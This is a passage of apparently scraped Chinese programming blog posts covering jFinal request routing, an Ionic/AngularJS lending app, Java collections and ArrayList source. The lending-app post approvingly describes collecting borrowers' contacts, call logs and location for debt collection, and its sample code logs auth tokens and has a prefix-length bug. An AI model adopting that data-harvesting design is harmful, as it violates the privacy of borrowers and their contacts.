        renderFactory.getErrorRender(404).setContext(request, response).render();
        return ;
    }
    
    try {
        Controller controller = action.getControllerClass().newInstance();
        controller.init(request, response, urlPara[0]);
        
        if (devMode) {
            boolean isMultipartRequest = ActionReporter.reportCommonRequest(controller, action);
            new ActionInvocation(action, controller).invoke();
            if (isMultipartRequest) ActionReporter.reportMultipartRequest(controller, action);
        }
        else {
            new ActionInvocation(action, controller).invoke();
        }
        
        Render render = controller.getRender();
        if (render instanceof ActionRender) {
            String actionUrl = ((ActionRender)render).getActionUrl();
            if (target.equals(actionUrl))
                throw new RuntimeException("The forward action url is the same as before.");
            else
                handle(actionUrl, request, response, isHandled);
            return ;
        }
        
        if (render == null)
            render = renderFactory.getDefaultRender(action.getViewPath() + action.getMethodName());
        render.setContext(request, response, action.getViewPath()).render();
    }
    catch (RenderException e) {
        if (log.isErrorEnabled()) {
            String qs = request.getQueryString();
            log.error(qs == null ? target : target + "?" + qs, e);
        }
    }
    catch (ActionException e) {
        int errorCode = e.getErrorCode();
        if (errorCode == 404 && log.isWarnEnabled()) {
            String qs = request.getQueryString();
            log.warn("404 Not Found: " + (qs == null ? target : target + "?" + qs));
        }
        else if (errorCode == 401 && log.isWarnEnabled()) {
            String qs = request.getQueryString();
            log.warn("401 Unauthorized: " + (qs == null ? target : target + "?" + qs));
        }
        else if (errorCode == 403 && log.isWarnEnabled()) {
            String qs = request.getQueryString();
            log.warn("403 Forbidden: " + (qs == null ? target : target + "?" + qs));
        }
        else if (log.isErrorEnabled()) {
            String qs = request.getQueryString();
            log.error(qs == null ? target : target + "?" + qs, e);
        }
        e.getErrorRender().setContext(request, response).render();
    }
    catch (Exception e) {
        if (log.isErrorEnabled()) {
            String qs = request.getQueryString();
            log.error(qs == null ? target : target + "?" + qs, e);
        }
        renderFactory.getErrorRender(500).setContext(request, response).render();
    }
}

render部分暂且不看。
从作者的代码注释中可以看出这个handle方法的主要逻辑。
我们就看其中两个。

* 1: Action action = actionMapping.getAction(target)
* 2: new ActionInvocation(...).invoke()

target是减去了contextPath部分的请求路径，在ActionMapping.getAction(target)方法中将与ActionMapping维护的mapping表中的所有actionKey作比较，如果匹配就获得一个Action。
看下实现代码

/**
 * Support four types of url
 * 1: http://abc.com/controllerKey                 ---> 00
 * 2: http://abc.com/controllerKey/para            ---> 01
 * 3: http://abc.com/controllerKey/method          ---> 10
 * 4: http://abc.com/controllerKey/method/para     ---> 11
 */
Action getAction(String url, String[] urlPara) {
    Action action = mapping.get(url);
    if (action != null) {
        return action;
    }
    
    // --------
    int i = url.lastIndexOf(SLASH);
    if (i != -1) {
        action = mapping.get(url.substring(0, i));
        urlPara[0] = url.substring(i + 1);
    }
    
    return action;
}

简单解释下，这个方法支持四种形式的请求，见注释。
首先尝试mapping.get(url)，
如果结果不为空，结合前面ActionMapping.buildActionMapping(),
我们知道这时/controllerKey或者/controllery/method匹配到了。
进一步截取并尝试mapping.get(url.substring(0,i))
即将/controllerKey/para和/controllerKey/method/para减去/para再执行匹配。
para用urlPara[0]收集起来。
最后不管是否匹都配返回。

回到ActionHandler.handle()方法，用获得的Action进行调用处理请求。

new ActionInvocation(action, controller).invoke();

至此,jFinal的路由解析模块就分析完了。



5 Thanks

以上用于分析的jFinal版本是jfinal-1.8-bin-with-src.jar。
感谢转神提供的案例
感谢豪的提点和帮助
支持一下文章作者吧！



 花了十天时间做了一个App，取名一麻贷，想着一麻袋一麻袋的放款，但是……

作者：pantao

来源： 花了十天时间做了一个App，取名一麻贷，想着一麻袋一麻袋的放款，但是……



                    



项目地址（http://sack.doraemoney.com）


6月14号，和另外两个同事商量着不能再像最近这几个月这样了，似乎每一个公司的产品经理与码农们都是死对头，我也没有逃出这个怪圈，每天在对产品的“精雕细琢”中，让我对产品越发的反感，不经意间，看了看自己的 Git Commits List，好长啊，每天都有好多，然后就想着看看自己的干了些什么，突然之间，发现这就是一个循环啊，基本上是下面这样的：


for var keepGoing = true; keepGoing  {
    // 4B中
}



不行啊，我们得自己整一个，但是不能在上班时间整，因为这是一个只有我们参与的事情，而且也不希望他人对我们的指指点点，所以，决定每天的空余时间抽出几个小时，计划着一个星期之内整一个新的东西出来，恩，是的，App，最后还是花了我们3个人十天的时间。


这还是一个借款给有需要的人的App，没有风控模型，但是我们有完善的催债模型和真实性模型，我们只做一件事情，让借款给你的人更快的相信你在按时还款，所以，我们选择了通讯录、通话记录、地理位置、手机型号等这些通过一个App能快速获取到的数据。


然后我们开始了规划，简单的设计，接口的定义以及数据结构的定义，这花了一天的时间，我们按着花了三天时间把整个系统开发完了，也就是所有的功能都有了，接着花了两天时间把所有的功能接口串连上，最后再连了四天的时间测试、调试与Bug修复，Ok，一个全新的App就这么出来了。


技术使用的是：



	Java

	Ionic

	Cordova

	一些必要的插件



Java


选择Java的原因很简单，也很纯粹，我们的核心业务系统就是Java的，为了能更快速的开发，我们还是直接使用Java，这样很多接口的代码可以直接复制过来改改就能使用，这为我们节省了很多开发的时间。


Ionic


这个不用想，简单的App开发中的神器，有了这个东西，即使我对App开发一无所知，我也能仅使用我自己会的前端技术实现一个完善的App。


Cordova


这为我们的App兼容到各种平台 iOA/Andoird等提供支持。


我是怎么做的


关于本地的数据存储


因为数据量很少，所以直接使用了 LocalStorage，我自己写了一个 AngularJS 与 LocalStorage 的数据绑定的 Angular Module，代码如下：


javascript/**
 * 本地存储
 */
app.factory('$storage', [
  '$rootScope',
  '$window',
  function(
      $rootScope,
      $window
  ){

    var webStorage = $window['localStorage'] || (console.warn('This browser does not support Web Storage!'), {}),
        storage = {
          $default: function(items) {
            for (var k in items) {
              angular.isDefined(storage[k]) || (storage[k] = items[k]);
            }

            return storage;
          },
          $reset: function(items) {
            for (var k in storage) {
              '$' === k[0] || delete storage[k];
            }

            return storage.$default(items);
          }
        },
        _laststorage,
        _debounce;

    for (var i = 0, k; i < webStorage.length; i++) {


      (k = webStorage.key(i)) && 'storage-' === k.slice(0, 8) && (storage[k.slice(8)] = angular.fromJson(webStorage.getItem(k)));
    }

    _laststorage = angular.copy(storage);

    $rootScope.$watch(function() {
      _debounce || (_debounce = setTimeout(function() {
        _debounce = null;

        if (!angular.equals(storage, _laststorage)) {
          angular.forEach(storage, function(v, k) {
            angular.isDefined(v) && '$' !== k[0] && webStorage.setItem('storage-' + k, angular.toJson(v));

            delete _laststorage[k];
          });

          for (var k in _laststorage) {
            webStorage.removeItem('storage-' + k);
          }

          _laststorage = angular.copy(storage);
        }
      }, 100));
    });


    'localStorage' === 'localStorage' && $window.addEventListener && $window.addEventListener('storage', function(event) {
      if ('storage-' === event.key.slice(0, 10)) {
        event.newValue ? storage[event.key.slice(10)] = angular.fromJson(event.newValue) : delete storage[event.key.slice(10)];

        _laststorage = angular.copy(storage);

        $rootScope.$apply();
      }
    });

    return storage;
  }
]);



使用起来很简单：


javascript$storage.token = 'TOKEN_STRING'; // 这就会在localStorage 中存储一个 `key` 为 `storage-token` 而 `value` 为 `TOKEN_STRING` 的键值对，这是一个单向存储的过程，也就是我们再手工修改 `localStorage` 里面的值是没有用的，`100ms` 之后就会被 `$storage.token` 的值覆盖，这是一个更新存储的时间。



数据请求


因为我们这边的接口走的不是 AngularJS 的默认请求方式，数据结构为类似表单提交，所以，我还修改了 Angular 中的 $http，转换对象为 x-www-form-urlencoded 序列代的字符串：


javascript/**
 * 配置
 */
app.config([
  '$ionicConfigProvider',
  '$logProvider',
  '$httpProvider',
  function(
      $ionicConfigProvider,
      $logProvider,
      $httpProvider
  ) {
    // .. 其它代码
    // 开启日志
    $logProvider.debugEnabled(true);

    /**
     * 服务器接口端要求在发起请求时，同时发送 Content-Type 头信息，且其值必须为： application/x-www-form-urlencoded
     * 可选添加字符编码，在此处我默认将编码设置为 utf-8
     *
     * @type {string}
     */

    $httpProvider.defaults.headers.post['Content-Type'] = 'application/x-www-form-urlencoded;charset=utf-8';
    $httpProvider.defaults.headers.put['Content-Type'] = 'application/x-www-form-urlencoded;charset=utf-8';

    /**
     * 请求只接受服务器端返回 JSON 数据
     * @type {string}
     */
    $httpProvider.defaults.headers.post['Accept'] = 'application/json';

    /**
     * AngularJS 对默认提交的数据结构为 json 格式的，但是我们NiuBilitity的服务器端不能解析 JSON 数据，所以
     * 我们经 x-www-form-urlencoded 的方式提交，此处将对数据进行封装为 foo=bar&bar=other 的方式
     * @type {*[]}
     */
    $httpProvider.defaults.transformRequest = [function(data) {
      /**
       * 转换对象为 x-www-form-urlencoded 序列代的字符串
       * @param {Object} obj
       * @return {String}
       */
      var param = function(obj) {
        var query = '';
        var name, value, fullSubName, subName, subValue, innerObj, i;

        for (name in obj) {
          value = obj[name];

          if (value instanceof Array) {
            for (i = 0; i < value.length; ++i) {
              subValue = value[i];
              fullSubName = name + '[' + i + ']';
              innerObj = {};
              innerObj[fullSubName] = subValue;
              query += param(innerObj) + '&';
            }
          } else if (value instanceof Object) {
            for (subName in value) {
              subValue = value[subName];
              fullSubName = name + '[' + subName + ']';
              innerObj = {};
              innerObj[fullSubName] = subValue;
              query += param(innerObj) + '&';
            }
          } else if (value !== undefined && value !== null) {
            query += encodeURIComponent(name) + '='
                + encodeURIComponent(value) + '&';
          }
        }

        return query.length ? query.substr(0, query.length - 1) : query;
      };

      return angular.isObject(data) && String(data) !== '[object File]'
          ? param(data)
          : data;
    }];

  }
]);



JSON 请求数据结构


我们的数据结构是下面这样的：


Request


json{
  "apiVersion" : "0.0.1",
  "token" : "TOKEN_STRING",
  "requestId" : "ID_STRING",
  "data" : {
    // Data goes here
  }
}



Response


json{
  "apiVersion" : "0.0.1",
  "data" : {},
  "error" : {
    "code" : ERROR_CODE_NUMBER,
    "message" : "Error Message Here",
    "errors" : [
      {
        "code" : 0,
        "message" : "",
        "location" : ""
      }
    ]
  }
}



说明


在上面的这些数据结构中，请求的很好理解，响应的 json 结构只有三个字段， apiVersion 表示了当前请求的接口版本号， data 就是数据对象， error 则是错误对象，一般情况下，一个 error 只有 code 与 message 两个值，但是有一些情况下可能会需要提供一些额外的错误信息，那么都放入了 error.errors 这个数组中。


App前端是下面这样的判断的：



	当 error 为 null 时，表示请求成功，此时从 data 中取数据；

	当 error 不为 null 时，表示请求失败，此时从 error 中取错误信息，而完全不管 data ，我采取的方式是直接抛弃（其实前后端已经约定了，所以不存在 error 不为 null 时，data 中还有数据的情况出现。



关于 $http



我没有直接将接口的 url 地址、$http 请求等暴露给 Controller，而是做了一层封装，我叫作为 sack（也就是 App 的名称）：


javascriptapp.factory('sack', [
  '$http',
  '$q',
  '$log',
  '$location',
  '$ionicPopup',
  '$storage',
  'API_VERSION',
  'API_PROTOCOL',
  'API_HOSTNAME',
  'API_URI_MAP',
  'util',
  function(
      $http,
      $q,
      $log,
      $location,
      $ionicPopup,
      $storage,
      API_VERSION,
      API_PROTOCOL,
      API_HOSTNAME,
      API_URI_MAP,
      util
  ){
    var HTTPUnknownError = {code: -1, message: '出现未知错误'};
    var HTTPAuthFaildError = {code: -1, message: '授权失败'};
    var APIPanicError = {code: -1, message: '服务器端出现未知错误'};
    var _host = API_PROTOCOL + '://' + API_HOSTNAME + '/',
        _map = API_URI_MAP,
        _apiVersion = API_VERSION,
        _token = (function(){return $storage.token;}()) ;

    setInterval(function(){
      _token = (function(){return $storage.token;}());
      //$log.info("Got Token: " + _token);
    }, 1000);

    var appendTransform = function(defaultFunc, transFunc) {
      // We can't guarantee that the default transformation is an array
      defaultFunc = angular.isArray(defaultFunc) ? defaultFunc : [defaultFunc];

      // Append the new transformation to the defaults
      return defaultFunc.concat(transFunc);
    };

    var _prepareRequestData = function(originData) {
      originData.token = _token;
      originData.apiVersion = _apiVersion;
      originData.requestId = util.getRandomUniqueRequestId();
      return originData;
    };

    var _prepareRequestJson = function(originData) {
      return angular.toJson({
        apiVersion: _apiVersion,
        token: _token,
        requestId: util.getRandomUniqueRequestId(),
        data: originData
      });
    };

    var _getUriObject = function(uon) {
      // 若传入的参数带有 _host 头
      if((typeof uon === 'string' && (uon.indexOf(_host) == 0) ) || uon === '') {
        return {
          uri: uon.replace(_host, ''),
          methods: ['post']
        };
      }

      if(typeof _map === 'undefined') {
        return {
          uri: '',
          methods: ['post']
        };
      }

      var _uon = uon.split('.'),
          _ns,
          _n;

      if(_uon.length == 1) {
        return {
          uri: '',
          methods: ['post']
        };
      }
      _ns = _uon[0];
      _n = _uon[1];

      _mod = _map[_ns];

      if(typeof _mod === 'undefined') {
        return {
          uri: '',
          methods: ['post']
        };
      }

      _uriObject = _mod[_n];

      if(typeof _uriObject === 'undefined') {
        return {
          uri: '',
          methods: ['post']
        };
      }

      return _uriObject;
    };

    var _getUri = function(uon) {
      return _getUriObject(uon).uri;
    };

    var _getUrl = function(uon) {
      return _host + _getUri(uon);
    };

    var _auth = function(uon) {
      var _uo = _getUriObject(uon),
          _authed = false;
      $log.log('Check Auth of : ' + uon);
      $log.log('Is this api need auth: ' + angular.toJson(_uo.needAuth));
      $log.log('Is check passed: ' + angular.toJson(!(!_token && _uo.needAuth)));
      $log.log('Token is: ' + _token);
      if(!_token && _uo.needAuth) {

        $ionicPopup.alert({
          title: '提示',
          subTitle: '您当前的登录状态已失效，请重新登录。'
        }).then(function(){
          $location.path('/sign');
        });

        $location.path('/sign');
      } else {
        _authed = true;
      }
      return _authed;
    };

    var get = function(uon) {
      return $http.get(_getUrl(uon));
    };

    var post = function(uon, data, headers) {
      var _url = _getUrl(uon),
          _data = _prepareRequestData(data);
      $log.info('========> POST START [ ' + uon + ' ] ========>');
      $log.log('REQUEST URL  : ' + _url);
      $log.log('REQUEST DATA : ' + angular.toJson(_data));

      return $http.post(_url, _data, {
        transformResponse: appendTransform($http.defaults.transformResponse, function(value) {
          $log.log('RECEIVED JSON : ' + angular.toJson(value));
          if(typeof value.ex != 'undefined') {
            return {
              error: APIPanicError
            };
          }
          return value;
        })
      });
    };

    var promise = function(uon, data, headers) {
      var defer = $q.defer();

      if(!_auth(uon)) {
        defer.reject(HTTPAuthFaildError);
        return defer.promise;
      }

      post(uon, data, headers).success(function(res){
        if(res.error) {
          defer.reject(res.error);
        } else {
          defer.resolve(res.data);
        }
      }).error(function(res){
        defer.reject(HTTPUnknownError);
      });
      return defer.promise;
    };

    var postJson = function(uon, data, headers) {
      var _url = _getUrl(uon),
          _json = _prepareRequestJson(data);
      $log.info('========> POST START [ ' + uon + ' ] ========>');
      $log.log('REQUEST URL  : ' + _url);
      $log.log('REQUEST JSON : ' + _json);
      return $http.post(_url, _json, {
        transformResponse: appendTransform($http.defaults.transformResponse, function(value) {
          $log.log('RECEIVED JSON : ' + angular.toJson(value));
          if(typeof value.ex != 'undefined') {
            return {
              error: APIPanicError
            };
          }
          return value;
        })
      });
    };

    var promiseJson = function(uon, data, headers) {
      var defer = $q.defer();

      if(!_auth(uon)) {
        defer.reject(HTTPAuthFaildError);
        return defer.promise;
      }

      postJson(uon, data, headers).success(function(res){
        if(res.error) {
          defer.reject(res.error);
        } else {
          defer.resolve(res.data);
        }
      }).error(function(res){
        defer.reject(HTTPUnknownError);
      });
      return defer.promise;
    };

    return {
      get: get,
      post: post,
      promise: promise,

      postJson: postJson,
      promiseJson: promiseJson,
      _auth: _auth,
      HTTPAuthFaildError: HTTPAuthFaildError
    };
  }
]);



这样里面最主要是使用一个方法： sack.promiseJson，这个方法是以 json 数据向服务器发送请求，然后返回一个 promise 的。


上面的 API_URI_MAP 的数据结构类似于下面这样的：


javascriptapp.constant('API_URI_MAP', {
  user : {
    sign : {
      needAuth: false,
      uri : 'sack/user/sign.json',
      methods: [
        'post'
      ],
      params: {
        mobile: 'string', // 手机号码
        captcha: 'string' // 验证码
      }
    },
    unsign: {
      needAuth: true,
      uri: 'sack/user/unsign.json',
      methods: [
        'post'
      ],
      params: {
        token: 'string'
      }
    },
    //...
  }
  //...
});



然后，更具体的，在 Controller 中也不直接使用 sack.promiseJson 这个方法，而是使用封装好的服务进行，比如下面这个服务：


javascriptapp.factory('UserService', function($rootScope, $q, $storage, API_CACHE_TIME, sack) {
  var sign = function(data) {
    return sack.promiseJson('user.sign', data);
  };

  return {
    sign: sign
  }
});



这样的好处是，我可以直接使用类似下面这样发起请求：


UserService.sign({mobile:'xxxxxxxxxxx',captcha:'000000'}).then(function(res){
  // 授权成功
}, function(err){
  // 授权失败
});



但是


好吧，又来但是了，App做完了之后，我们可爱的领导们感觉这个还可以，然后就又要开始发挥他们的各种NB的指导了，还好从一开始我们就没有使用上班时间，这使得我们有理由拒绝领导的指导，但是，公司却说了，不接受指导那就不让上，好吧，那就不上呗，这似乎惹怒了我们的领导们，所以，就直接没有跟我们通气的开始招兵买马要上App了，我瞬间就想问：



  我们的战略不是说不做App么？现在怎么看到App比现在的简单就又开始做了




然后我又想到一种可能



	我们把App上了，

	另一个领导带招一些新人把也做了一个App

	如果App还可以的话，把我们的功能直接复制过去，然后让我们的下线

	然后领导又可以邀功了

	如果App不可以的话，那我们是在浪费时间，把我们的下线，然后……



反正，似乎都跟我没半毛钱关系了，除非这个App运营的不好。


 JAVA 持有对象——容器初探（持续补充）

作者：Gavin要加油
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引言



  如果一个程序只包含固定数量的且其生命周期都是已知对象，那么这是一个非常简单的程序——《think in java》




了解容器前，先提出一个问题，ArrayList和LinkedList谁的处理速度更快呢？


一 持有对象的方式


在Java中，我们可以使用数组来保存一组对象。但是，数组是固定大小的，在一般情况下，我们写程序时并不知道将需要多少个对象，因此数组固定大小对于编程有些受限。


java类库中提供了一套相当完整的容器类来解决这个问题，其中基本类型有List，Queue，Set，Map，这些对象类型被称为集合类。但是，Java类库中使用了Collection来指代集合类中的子集{List，Queue，Set}，所以集合类也被称为容器。容器提供了完善的方法来保存对象。


二 类型安全的容器


java采用泛型保证我们不会向容器中插入不正确的类型，但是java的泛型只存在于程序源码中，在经过编译器编译就会将类型擦除。举一个例子：


java//经过编译前
List<String> list = new ArrayList<>();
list.add("ok");
System.out.println(list.get(0));

//经过编译后
List list = new ArrayList();
list.add("ok");
System.out.println((String)list.get(0));



这样做的好处是:在编写程序的时候，不会将其他非导出类型的对象添加到容器中。


三 List


数组存储多个对象的原因是它提前声明了能存储多少对象。那容器又是如何实现存储不定多对象的呢？


java//ArrayList部分源码

private static final int DEFAULT_CAPACITY = 10;
private static final Object[] EMPTY_ELEMENTDATA = {};

private transient Object[] elementData;
private int size;

public ArrayList(int initialCapacity) {
    super();
    if (initialCapacity < 0)
        throw new IllegalArgumentException("Illegal Capacity: "+
                                           initialCapacity);
    this.elementData = new Object[initialCapacity];
}
public ArrayList() {
    super();
    this.elementData = EMPTY_ELEMENTDATA;
}
public boolean add(E e) {
    ensureCapacityInternal(size + 1);  // Increments modCount!!
    elementData[size++] = e;
    return true;
}

private void ensureCapacityInternal(int minCapacity) {
    if (elementData == EMPTY_ELEMENTDATA) {
        minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);
    }

    ensureExplicitCapacity(minCapacity);
}

private void ensureExplicitCapacity(int minCapacity) {
    modCount++;

    // overflow-conscious code
    if (minCapacity - elementData.length > 0)
        grow(minCapacity);
}

private void grow(int minCapacity) {
    // overflow-conscious code
    int oldCapacity = elementData.length;
    int newCapacity = oldCapacity + (oldCapacity >> 1);
    if (newCapacity - minCapacity < 0)
        newCapacity = minCapacity;
    if (newCapacity - MAX_ARRAY_SIZE > 0)
        newCapacity = hugeCapacity(minCapacity);
    // minCapacity is usually close to size, so this is a win:
    elementData = Arrays.copyOf(elementData, newCapacity);
}



我们可以看到，在ArrayList类中有一个elementData数组。当使用无参构造函数时数组长度默认为空，当向ArrayList加入对象时，会调用一个方法来判断数组是否能放下这个对象。当数组为空时设置数组长度为10并申请相应大小空间，当数组已满时，最少重新申请原数组大小1.5倍的空间（除非达到int类型最大值-8）。而在LinkedList中却没有采用这种方式，而是采用链表方式。


java//LinkedList add方法
void linkLast(E e) {
    final Node<E> l = last;
    final Node<E> newNode = new Node<>(l, e, null);
    last = newNode;
    if (l == null)
        first = newNode;
    else
        l.next = newNode;
    size++;
    modCount++;
}



在LinkedList中，他的add方法调用了linkLast方法，直接在链表后边加入一个新的节点。


四 Set


Set类型不保存重复的元素。判断对象元素是否相等采用的是equals方法，所以在存入自定义的对象时，如果重写equals方法依赖于可变属性，将会导致一些问题。


五 Map


Map类型是能够将对象映射到其他对象的一种容器，有区别于List的get方法。HashSet类中包含了一个HashMap对象，HashSet的实现依靠HashMap。


HashMap的实现采用了数组链表的方式，即数组的每一个位置都存放的是链表头。查找会先通过key的hash找到对应数组下标，再在该数组下标所对应的链表中找到是否有对应对象，查找方式为equals方法。

HashMap如果存储的键值对大于设定值，会自动进行扩容并且对已经存入的键值对进行重排序，一次扩容的大小是当前数组长度的两倍。


java//HashMap扩容
public V put(K key, V value) {
    //other...
    addEntry(hash, key, value, i);
    return null;
}
void addEntry(int hash, K key, V value, int bucketIndex) {
    if ((size >= threshold) && (null != table[bucketIndex])) {
        resize(2 * table.length);
        hash = (null != key) ? hash(key) : 0;
        bucketIndex = indexFor(hash, table.length);
    }
   //other...
}



六 Queue


队列是一种典型的先进先出的容器，LinkedList实现了Queue接口。PriorityQueue实现了优先级队列。ArrayDeque是一个用数组实现双端队列的类，我们来看一下ArrayDeque类中的一些方法。


java//ArrayDeque构造方法
    public ArrayDeque() {
        elements = (E[]) new Object[16];
    }
    public ArrayDeque(int numElements) {
        allocateElements(numElements);
    }
    private void allocateElements(int numElements) {
        int initialCapacity = MIN_INITIAL_CAPACITY;
        if (numElements >= initialCapacity) {
            initialCapacity = numElements;
            initialCapacity |= (initialCapacity >>>  1);
            initialCapacity |= (initialCapacity >>>  2);
            initialCapacity |= (initialCapacity >>>  4);
            initialCapacity |= (initialCapacity >>>  8);
            initialCapacity |= (initialCapacity >>> 16);
            initialCapacity++;

            if (initialCapacity < 0)   // Too many elements, must back off
                initialCapacity >>>= 1;// Good luck allocating 2 ^ 30 elements
        }
        elements = (E[]) new Object[initialCapacity];
    }



上边的代码是ArrayDeque的构造方法，可以看到，当没有定义大小时，ArrayDeque默认数组大小为16，而定义大小后，会调用allocateElements方法，这个方法的作用是：当给定长度小于最小长度8时，使用最小长度。若大于等于最小长度，则找到比给定长度大的最小的2的幂数。为什么要是2的幂数呢？原因有以下两点：



	操作系统分配内存的方法使用伙伴系统的话，每一块的大小都是2的幂数，如果分配的内存大小为2的幂数，可以减少内存分配的时间。

伙伴系统在百度百科中的解释：http://baike.baidu.com/view/4935190.htm


	在ArrayDeque的addFirst方法中不固定将头放在数组的第一位，而是循环移位。使用2的幂数能够有效判断头部所在的地址。


	同样在第二点中，如果队列满了，数组扩充是将容量capacity值左移一位即可扩充一倍。




javapublic void addFirst(E e) {
        if (e == null)
            throw new NullPointerException();
        elements[head = (head - 1) & (elements.length - 1)] = e;
        if (head == tail)
            doubleCapacity();
    }
private void doubleCapacity() {
        assert head == tail;
        int p = head;
        int n = elements.length;
        int r = n - p; // number of elements to the right of p
        int newCapacity = n << 1;
        if (newCapacity < 0)
            throw new IllegalStateException("Sorry, deque too big");
        Object[] a = new Object[newCapacity];
        System.arraycopy(elements, p, a, 0, r);
        System.arraycopy(elements, 0, a, r, p);
        elements = (E[])a;
        head = 0;
        tail = n;
    }



七 List的选择


在文章开头提出了一个问题，数组实现的List快还是链表实现的List快。模拟一下试试：


javapublic static void add()
{
    long start = 0;
    long end = 0;

    List<Integer> alist = new ArrayList<>();
    List<Integer> llist = new LinkedList<>();

    System.out.println("ArrayList添加1000万数据所需毫秒数");
    start = System.currentTimeMillis();
    for (int i=0; i<10000000; i++)
    {
        alist.add(i);
    }
    end = System.currentTimeMillis();
    System.out.println(end-start);

    System.out.println("LinkedList添加1000万数据所需毫秒数");
    start = System.currentTimeMillis();
    for (int i=0; i<10000000; i++)
    {
        llist.add(i);
    }
    end = System.currentTimeMillis();
    System.out.println(end-start+"\n");

    System.out.println("ArrayList从1000万数据删除数据所需毫秒数");
    start = System.currentTimeMillis();
    alist.remove(0);
    alist.remove(2000000);
    alist.remove(4000000);
    alist.remove(6000000);
    alist.remove(8000000);
    alist.remove(9999994);
    end = System.currentTimeMillis();
    System.out.println(end - start);

    System.out.println("LinkedList从1000万数据删除数据所需毫秒数");
    start = System.currentTimeMillis();
    llist.remove(0);
    llist.remove(2000000);
    llist.remove(4000000);
    llist.remove(6000000);
    llist.remove(8000000);
    llist.remove(9999994);
    end = System.currentTimeMillis();
    System.out.println(end - start+"\n");

    System.out.println("ArrayList从1000万数据查找数据所需毫秒数");
    start = System.currentTimeMillis();
    alist.contains(0);
    alist.contains(2000000);
    alist.contains(4000000);
    alist.contains(6000000);
    alist.contains(8000000);
    alist.contains(10000000);
    end = System.currentTimeMillis();
    System.out.println(end - start);

    System.out.println("LinkedList从1000万数据查找数据所需毫秒数");
    start = System.currentTimeMillis();
    llist.contains(0);
    llist.contains(2000000);
    llist.contains(4000000);
    llist.contains(6000000);
    llist.contains(8000000);
    llist.contains(10000000);
    end = System.currentTimeMillis();
    System.out.println(end - start+"\n");
}





可以看到，无论在何种情况下，数组实现的list都比链表快。当我在ArrayList构造方法中设置数组初始大小1000万时，ArrayLIst添加数据的速度慢了下来，降到5000毫秒左右，所以一般情况下不需要优化。


总结


简单容器类图：







	Java的容器分为两类，一类是Collection，一类是Map。collection中包含三种集合类型：Set，List，Queue。


	如果想要set中的数据有序，请使用TreeSet。


	HashTable和Vector是线程安全的，但是不建议使用，请使用java.util.concurrent包下的容器。


	HashMap允许key/value值为null。
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几个重要接口

首先看方法声明：

public class ArrayList<E> extends AbstractList<E>
        implements List<E>, RandomAccess, Cloneable, java.io.Serializable

RandomAccess：



public interface RandomAccess {
}

RandomAccess接口都是给 List所使用的，用来表明其支持快速（通常是固定时间）随机访问，为其提供良好的性能。实际经验证明，如果是下列情况，则 List 实现应该实现此接口，即对于典型的类实例而言，此循环：

for (int i=0, n=list.size(); i < n; i++)
         list.get(i);


的运行速度要快于以下循环：

for (Iterator i=list.iterator(); i.hasNext(); )
         i.next();

Cloneable：



public interface Cloneable {
}

实现了此接口的类就可以通过重写 Object.clone（）方法来定制对其进行复制的细节,如果在没有实现 Cloneable 接口的实例上调用 Object 的 clone 方法，则会导致抛出 CloneNotSupportedException 异常。

两个变量

/**
* ArrayList中元素存储的地方，数组的长度就是它的容量
*/
private transient Object[] elementData;

/**
 *ArrayList所包含的元素的大小 
*/
private int size;

构造方法

提供了3种构造方法：

public ArrayList(int initialCapacity) {
        super();
        if (initialCapacity < 0)
            throw new IllegalArgumentException("Illegal Capacity: "+
                                               initialCapacity);
        this.elementData = new Object[initialCapacity];
    }
    
public ArrayList() {
        this(10);
    }    
    
public ArrayList(Collection<? extends E> c) {
        elementData = c.toArray();
        size = elementData.length;
        // c.toArray might (incorrectly) not return Object[] (see 6260652)
        if (elementData.getClass() != Object[].class)
            elementData = Arrays.copyOf(elementData, size, Object[].class);
    }    

可以看到：第一种方法需要一个默认的容量大小，第二个是默认的构造方法，会默认创建一个容量为10的 ArrayList，第三个则传给一个 Collection，注意，不管 Collection里面是什么类型，最后放进 ArrayList都会上转为 Object

重要方法

add

 public boolean add(E e) {
        ensureCapacityInternal(size + 1);  // Increments modCount!!
        elementData[size++] = e;
        return true;
    }

add方法中使用了 ensureCapacityInternal来控制容量：

private void ensureCapacityInternal(int minCapacity) {
        modCount++;
        // overflow-conscious code
        if (minCapacity - elementData.length > 0)
            grow(minCapacity);
    }

其中 modCount是用来记录 list被结构修改的次数，所谓结构上的修改是 指任何添加或删除一个或多个元素的操作，或者显式调整底层数组的大小；仅仅设置元素的值不是结构上的修改；在上面的方法中，如果 minCapacity 大于现有数组长度，则执行 grow方法：

private void grow(int minCapacity) {
        // overflow-conscious code
        int oldCapacity = elementData.length;
        /*newCapacity 扩展为旧容量的1.5倍左右*/
        int newCapacity = oldCapacity + (oldCapacity >> 1);
        /*如果这时新容量还小于minCapacity，则新容量为minCapacity*/
        if (newCapacity - minCapacity < 0)
            newCapacity = minCapacity;
        /*新容量大于 Integer.MAX_VALUE - 8*/    
        if (newCapacity - MAX_ARRAY_SIZE > 0)
            newCapacity = hugeCapacity(minCapacity);
        // 最后将原数组放进新数组，改变长度
        elementData = Arrays.copyOf(elementData, newCapacity);
    }

如果 newCapacity大于 Integer.MAX_VALUE - 8，则 newCapacity为  Integer.MAX_VALUE，这也是能够扩充的最大容量

再来看第二种 add方法：

public void add(int index, E element) {
        rangeCheckForAdd(index);

        ensureCapacityInternal(size + 1);  // Increments modCount!!
        System.arraycopy(elementData, index, elementData, index + 1,
                         size - index);
        elementData[index] = element;
        size++;
    }

这种方法是在指定位置插入元素，主要使用了 System.arraycopy（）方法将 index之后的元素向后移动一个位置，将 index位空出来放入新元素

clear

clear方法比较简单，但是注意调用 clear也会使 modCount加1：

public void clear() {
        modCount++;

        // Let gc do its work
        for (int i = 0; i < size; i++)
            elementData[i] = null;

        size = 0;
    }

clone

public Object clone() {
        try {
            @SuppressWarnings("unchecked")
            ArrayList<E> v = (ArrayList<E>) super.clone();
            v.elementData = Arrays.copyOf(elementData, size);
            v.modCount = 0;
            return v;
        } catch (CloneNotSupportedException e) {
            // this shouldn't happen, since we are Cloneable
            throw new InternalError();
        }
    }

clone方法只能进行浅复制，并不复制元素本身

remove

public boolean remove(Object o) {
        if (o == null) {
            for (int index = 0; index < size; index++)
                if (elementData[index] == null) {
                    fastRemove(index);
                    return true;
                }
        } else {
            for (int index = 0; index < size; index++)
                if (o.equals(elementData[index])) {
                    fastRemove(index);
                    return true;
                }
        }
        return false;
    }

remove方法中，如果要移除的元素为 null，则删除数组中第一个为 null的元素。如果数组中有超过一个匹配的元素，仅移除第一个

toArray

public Object[] toArray() {
        return Arrays.copyOf(elementData, size);
    }

这个方法被很多方法使用，它调用了 Arrays工具类中的方法 copyOf：

